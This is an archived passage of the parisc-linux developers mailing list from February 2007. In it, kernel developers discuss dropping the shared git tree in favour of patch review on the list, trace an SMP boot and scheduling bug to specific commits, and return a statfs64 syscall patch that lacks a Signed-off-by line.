Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 10:30:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 17 Feb 2007 11:30:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3D737DA34;
	Sat, 17 Feb 2007 03:30:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15002-05; Sat, 17 Feb 2007 03:30:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33F197DA35;
	Sat, 17 Feb 2007 03:30:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C80C97DA2D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 03:30:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15002-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 03:30:26 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 23A5D7D9EA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 03:30:26 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7BFD3AC78C;
	Sat, 17 Feb 2007 03:30:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29697-05; Sat, 17 Feb 2007 03:30:19 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 31B41AC78A; Sat, 17 Feb 2007 03:30:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20070217064648.GA2880@athena.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: devvcF0meWU77beUfHVzuj05U3U4N89p
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24330

On Sat, Feb 17, 2007 at 01:46:48AM -0500, kyle mcmartin wrote:
> And, well, I'm kind of getting sick of it. I propose for at least the next
> few months, instead of everyone being able to pollute the shared tree, they
> keep all their work in branches. Instead of merging or pushing, or whatever,
> you can send the patches to the list for review. This will work more or less
> like linux-kernel does, hopefully. 

Ok. Fair enough. Well said. Can someone with more git experience than I
have share a recipe for creating and committing to a git branch?
Maybe post that on one of the existing HOW-TO web pages or a new wiki page?

And yes, the fact that SMP is broken bothers me too.
I've spent some time looking at the cpu_possible_map patch pointed
out by james bottomly (IIRC) and I haven't figure out why that
has the impact that it does.

I also haven't had time to dig more into why the schedule is
only running things on CPU 0.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 08:02:01 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <1171720921.3379.11.camel__49117.7414231517$1416624290$gmane$org@mulgrave.il.steeleye.com>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
	<20070217103018.GD26273@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624290 22764 80.91.229.3 (22 Nov 2014 02:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 14:02:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 17 Feb 2007 15:02:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE9347DA47;
	Sat, 17 Feb 2007 07:02:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17465-06; Sat, 17 Feb 2007 07:02:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85C117DA49;
	Sat, 17 Feb 2007 07:02:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03DA87DA21
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 07:02:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16518-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 07:02:27 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 0E3987DA1B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 07:02:26 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1HE22x00376; 
	Sat, 17 Feb 2007 09:02:02 -0500
In-Reply-To: <20070217103018.GD26273@colo.lackof.org>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zD3ldFdDIyd1r/qQe2drIXJaa2FkZlXa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24331

On Sat, 2007-02-17 at 03:30 -0700, Grant Grundler wrote:
> And yes, the fact that SMP is broken bothers me too.
> I've spent some time looking at the cpu_possible_map patch pointed
> out by james bottomly (IIRC) and I haven't figure out why that
> has the impact that it does.

Let me go over it one more time for the record, since the problem has
really only been outlined on IRC.

In the 2.6.18 timeframe Nick Piggin introduced a bug into the smp tuning
system with commit 5c1e176781f43bc902a51e5832f789756bff911b

What he's doing is trying to ensure /sbin/init doesn't start (or get
scheduled) on an isolated CPU.  However, he built this change on
cpu_online_map, which contains precisely the boot cpu at the point
sched_init_smp() is called.  The result was that init was restricted to
the boot CPU, as was everything that inherited its cpus_allowed from
init (i.e. every other process).  I think it may only have been parisc
that was affected like this, since we hotplug boot our cpus.

Post 2.6.19 the bug was spotted and fixed by Nathan Lynch with commit
e5e5673f828623e58a401862b33173591faaeaff.  When this commit was applied
parisc began hanging in the SMP boot sequence.

However, this patch is not the *cause* of the problem.  If you back port
it to 2.6.19-pa0 (which has the piggin bug) you'll see that it boots
just fine SMP and correctly schedules on all CPUs.

So, what happened is that the bug which is causing our SMP boot hangs
got introduced somewhere between 2.6.19 and the Lynch bug fix, but we
didn't spot it because parisc was only scheduling on the boot CPU and it
didn't show up.

Analysis of my system shows that it's occurring when a shell script dots
in another shell script (i.e. it could be a fork or signal bug).  Also
reverting all 30 commits affecting sched.c during the window doesn't fix
it.  Unfortunately, the tree isn't really in a good enough state to try
to bisect it.

> I also haven't had time to dig more into why the schedule is
> only running things on CPU 0.

Hopefully the above explains that.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 10:21:16 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200702171521.l1HFLHR1005513__1717.27032070539$1416624291$gmane$org@hiauly1.hia.nrc.ca>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624291 22765 80.91.229.3 (22 Nov 2014 02:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@parisc-linux.org (kyle mcmartin)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 15:21:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 17 Feb 2007 16:21:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 423537DA47;
	Sat, 17 Feb 2007 08:21:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18029-03; Sat, 17 Feb 2007 08:21:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CDEF7DA49;
	Sat, 17 Feb 2007 08:21:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2750C7DA43
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 08:21:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17998-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 08:21:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5D1197DA33
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 08:21:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1HFLIrO005526;
	Sat, 17 Feb 2007 10:21:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1HFLHR1005513;
	Sat, 17 Feb 2007 10:21:17 -0500 (EST)
In-Reply-To: <20070217064648.GA2880@athena.road.mcmartin.ca> from "kyle
	mcmartin" at Feb 17, 2007 01:46:48 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NWi2IQoKa0Ao4b6aejEzHmI3Njh6dI5g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24332

> Your patch will get an ACK or NAK from others here, and I'll directly
> merge the mail into my git tree, instead of waiting until there's an aperture
> of Minimal Kyle Apathy[3] and having to sync up a pile of junk[4].

Yes, the shared parisc-linux tree needs to be eliminated ASAP.  It's
very hard to determine which change caused a breakage, and as you say,
you are spending a lot of time syncing up a pile of junk.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Sat, 17 Feb 2007 11:06:42 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <20070217160642.GC2880__31003.9598298774$1416624291$gmane$org@athena.road.mcmartin.ca>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
	<20070212153731.846e2ad3.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624291 22770 80.91.229.3 (22 Nov 2014 02:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 16:07:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 17 Feb 2007 17:07:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A2CB7DA51;
	Sat, 17 Feb 2007 09:07:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18272-07; Sat, 17 Feb 2007 09:07:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 121817DA47;
	Sat, 17 Feb 2007 09:07:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 506B47DA35
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 09:07:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18272-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 09:07:23 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 764A97DA33
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 09:07:23 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D36015840B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 11:06:59 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 48CB45840B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 11:06:59 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id DA8A7837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 11:06:58 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id C0D333B06E; Sat, 17 Feb 2007 11:06:42 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070212153731.846e2ad3.gmsoft@gentoo.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KF2+disleWU35a2TZm9nvRcrL0tsZk0J
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24333

You're missing Signed-off-by, and since you don't have commit access, I
cannot implicitly add it. Please resend the patch with your S-o-b line added.

> diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
> index 5114666..fb6788f 100644
> --- a/arch/parisc/kernel/syscall_table.S
> +++ b/arch/parisc/kernel/syscall_table.S
> @@ -403,5 +403,7 @@
>  	ENTRY_COMP(move_pages)		/* 295 */
>  	ENTRY_SAME(getcpu)
>  	ENTRY_SAME(epoll_pwait)
> +	ENTRY_COMP(statfs64)
> +	ENTRY_COMP(fstatfs64)
>  	/* Nothing yet */
>  
> diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
> index 7c1bb8b..4369991 100644
> --- a/include/asm-parisc/unistd.h
> +++ b/include/asm-parisc/unistd.h
> @@ -790,6 +790,8 @@
>  #define __NR_move_pages		(__NR_Linux + 295)
>  #define __NR_getcpu		(__NR_Linux + 296)
>  #define __NR_epoll_pwait	(__NR_Linux + 297)
> +#define __NR_statfs64		(__NR_Linux + 298)
> +#define __NR_fstatfs64		(__NR_Linux + 299)
>  
>  #define __NR_Linux_syscalls     298
>  

> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 12:11:48 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20070217171148.GD2880__42620.3872230419$1416624291$gmane$org@athena.road.mcmartin.ca>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
	<20070217103018.GD26273@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624291 22776 80.91.229.3 (22 Nov 2014 02:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 17:12:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 17 Feb 2007 18:12:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E28627DA33;
	Sat, 17 Feb 2007 10:12:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19017-09; Sat, 17 Feb 2007 10:12:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7EAA7DA4A;
	Sat, 17 Feb 2007 10:12:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6DB27DA21
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 10:12:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19017-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 10:12:06 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 1DA177DA20
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 10:12:06 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9E4F45840B4;
	Sat, 17 Feb 2007 12:12:05 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E53145840B3;
	Sat, 17 Feb 2007 12:12:04 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8F79E837DB;
	Sat, 17 Feb 2007 12:12:04 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 915AB3B06E; Sat, 17 Feb 2007 12:11:48 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070217103018.GD26273@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QQXxbUvMLi5nrvfRZWtpEc5jZml1ZNhH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24334

On Sat, Feb 17, 2007 at 03:30:18AM -0700, Grant Grundler wrote:
> On Sat, Feb 17, 2007 at 01:46:48AM -0500, kyle mcmartin wrote:
> > And, well, I'm kind of getting sick of it. I propose for at least the next
> > few months, instead of everyone being able to pollute the shared tree, they
> > keep all their work in branches. Instead of merging or pushing, or whatever,
